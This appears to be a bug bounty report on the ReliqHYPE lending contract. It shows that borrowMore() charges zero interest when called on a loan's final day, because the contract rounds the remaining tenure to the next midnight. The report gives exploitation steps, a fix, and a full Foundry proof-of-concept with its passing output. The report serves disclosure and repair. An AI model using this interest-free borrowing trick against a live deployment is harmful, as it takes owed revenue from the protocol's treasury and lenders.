https://github.com/hackenproof-public/reliq-protocol
I have analysed the ReliqHYPE lending logic, specifically how 'borrowMore()' calculates the remaining loan tenure used to compute the interest fee for additional borrowing.
During this review I observed that 'borrowMore()' computes the "remaining days" as:
uint256 nextMidnight = getMidnightTimestamp(block.timestamp);
uint256 newBorrowTenure = (endDate - nextMidnight) / 1 days;
Because getMidnightTimestamp() rounds up to the next midnight, there is a concrete edge-case:
If the borrower calls borrowMore() during the final day before maturity (e.g., 23 hours before endDate),
then nextMidnight becomes equal to endDate,
causing newBorrowTenure = (endDate - endDate) / 1 days = 0,
which makes the interest fee calculation return 0 interest:
interestFee = borrowed * rateBPS * numberOfDays / (FEE_BASE_BPS * 365);
// if numberOfDays == 0 => interestFee == 0
So the borrower can take additional debt without paying the intended pro-rata interest, even though almost a full day remains until maturity.
The root cause is the use of "next midnight" rounding when computing remaining time:
nextMidnight = getMidnightTimestamp(block.timestamp) returns the next midnight (not the current day boundary)
This can equal the loan endDate for a large portion of the final day
Then newBorrowTenure becomes 0 due to integer division
This effectively gives borrowers a free-interest window near maturity for borrowMore().
This is a business logic / functional correctness issue that causes the protocol to undercharge interest compared to the intended economics.
What a borrower can do:
Open a loan normally
Wait until close to maturity (e.g., ~23 hours before endDate)
Call borrowMore() and receive the additional borrow amount with zero interest charged
This reduces protocol revenue and breaks the "promised returns" / interest model for lenders and the treasury.
I consider this Medium because it:
Breaks the intended interest charging model for additional borrowing
Causes systematic under-collection of interest near maturity
Impacts protocol revenue / expected returns, even if it does not directly steal principal
Compute remaining time more precisely and ensure at least 1 day is charged when time remains, for example:
Use current-day midnight rather than next midnight, or
Compute remaining seconds and round up to days (ceil), e.g.:
remainingDays = (endDate > block.timestamp) ? ceil((endDate - block.timestamp)/1 days) : 0;
Enforce a minimum of 1 day when endDate > block.timestamp (if that matches intended economics)
Example approach:
uint256 remaining = endDate > block.timestamp ? (endDate - block.timestamp) : 0;
uint256 remainingDays = remaining == 0 ? 0 : (remaining + 1 days - 1) / 1 days;
I wrote a Foundry PoC using the existing repo test environment.
With 23 hours remaining until the loan’s endDate, borrowMore() computes newBorrowTenure = 0
The borrower receives the full effective additional borrow amount
Treasury receives 0 protocol fee because interestFee = 0
Yet the expected 1-day interest at 5% APR is clearly > 0
My PoC file Location
test/Lending/BorrowMoreInterestZeroLastDay.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {ReliqHYPE} from "../../src/ReliqHYPE.sol";
import {InterestManager} from "../../src/InterestManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Backing Token", "MBK") {}
function mint(address to, uint256 amt) external { _mint(to, amt); }
}
contract BorrowMoreInterestZeroLastDayTest is Test {
ReliqHYPE reHYPE;
InterestManager mgr;
MockERC20 backing;
address treasury = makeAddr("treasury");
address alice = makeAddr("alice");
function setUp() public {
// Make timestamp ~1 minute after a UTC midnight for deterministic behavior
uint256 base = 1765255628;
uint256 aligned = base - (base % 86400) + 60;
vm.warp(aligned);
backing = new MockERC20();
reHYPE = new ReliqHYPE(IERC20(address(backing)));
mgr = new InterestManager(500); // 5% APR
reHYPE.setTreasuryAddress(treasury);
reHYPE.setInterestManager(address(mgr));
// Fund owner + start protocol
backing.mint(address(this), 1_000_000 ether);
backing.approve(address(reHYPE), type(uint256).max);
reHYPE.setStart(100_000 ether, 0);
reHYPE.setMaxMintable(type(uint256).max);
// Fund Alice
backing.mint(alice, 1_000_000 ether);
vm.prank(alice);
backing.approve(address(reHYPE), type(uint256).max);
}
function test_borrowMore_charges_zero_interest_with_almost_full_day_remaining() public {
// 1) Alice buys enough relHYPE so she can collateralize borrow + borrowMore
vm.prank(alice);
reHYPE.buy(alice, 10_000 ether);
// 2) Alice opens a 1-day loan (note: endDate rounds to a midnight boundary in the future)
uint256 borrowAmt = 1_000 ether;
vm.startPrank(alice);
reHYPE.borrow(borrowAmt, 1);
vm.stopPrank();
// Extract endDate
(uint256 collat, uint256 debt, uint256 endDate) = reHYPE.getLoanByAddress(alice);
assertGt(collat, 0, "collateral should be > 0");
assertGt(debt, 0, "debt should be > 0");
assertGt(endDate, block.timestamp, "endDate should be in future");
console.log("borrow endDate =", endDate);
// 3) Warp to ~23 hours before endDate (i.e., still almost a full day remaining)
vm.warp(endDate - 23 hours);
// At this time, borrowMore() will compute:
// nextMidnight = getMidnightTimestamp(now) == endDate
// newBorrowTenure = (endDate - nextMidnight) / 1 days = 0
uint256 nextMidnight = reHYPE.getMidnightTimestamp(block.timestamp);
console.log("now =", block.timestamp);
console.log("nextMidnight =", nextMidnight);
assertEq(nextMidnight, endDate, "setup: nextMidnight should equal endDate");
uint256 aliceBackingBefore = backing.balanceOf(alice);
uint256 treasuryBefore = backing.balanceOf(treasury);
// 4) Alice borrows more; interestFee becomes 0 due to newBorrowTenure = 0
vm.startPrank(alice);
reHYPE.borrowMore(borrowAmt);
vm.stopPrank();
uint256 aliceBackingAfter = backing.balanceOf(alice);
uint256 treasuryAfter = backing.balanceOf(treasury);
// Effective new debt = 99% of borrowAmt
uint256 effectiveNewBorrow = (borrowAmt * 9900) / 10000;
console.log("alice received backing =", aliceBackingAfter - aliceBackingBefore);
console.log("treasury delta =", treasuryAfter - treasuryBefore);
// If interestFee == 0, user receives full effectiveNewBorrow and treasury gets 0
assertEq(aliceBackingAfter - aliceBackingBefore, effectiveNewBorrow, "BUG: borrowMore charged 0 interest");
assertEq(treasuryAfter - treasuryBefore, 0, "BUG: protocol fee is 0 due to interestFee=0");
// Sanity: expected 1-day interest would be > 0 at 5% APR
uint256 expectedOneDayInterest = (borrowAmt * 500) / (10000 * 365);
assertGt(expectedOneDayInterest, 0, "expected 1-day interest should be > 0");
console.log("expected 1-day interest (approx) =", expectedOneDayInterest);
}
}
forge test --match-contract BorrowMoreInterestZeroLastDayTest -vvv
$ forge test --match-contract BorrowMoreInterestZeroLastDayTest -vvv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.28
[⠃] Solc 0.8.28 finished in 751.48ms
Compiler run successful!
Ran 1 test for test/Lending/BorrowMoreInterestZeroLastDay.t.sol:BorrowMoreInterestZeroLastDayTest
[PASS] test_borrowMore_charges_zero_interest_with_almost_full_day_remaining() (gas: 427207)
Logs:
borrow endDate = 1765411200
now = 1765328400
nextMidnight = 1765411200
alice received backing = 990000000000000000000
treasury delta = 0
expected 1-day interest (approx) = 136986301369863013
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.76ms (1.03ms CPU time)
Ran 1 test suite in 18.60ms (2.76ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
At 23 hours before maturity, nextMidnight == endDate, which forces newBorrowTenure = 0.
borrowMore() therefore charges 0 interest and sends 0 protocol fee to treasury.
However, even a simple expected one-day interest at 5% APR is clearly > 0 (shown in logs).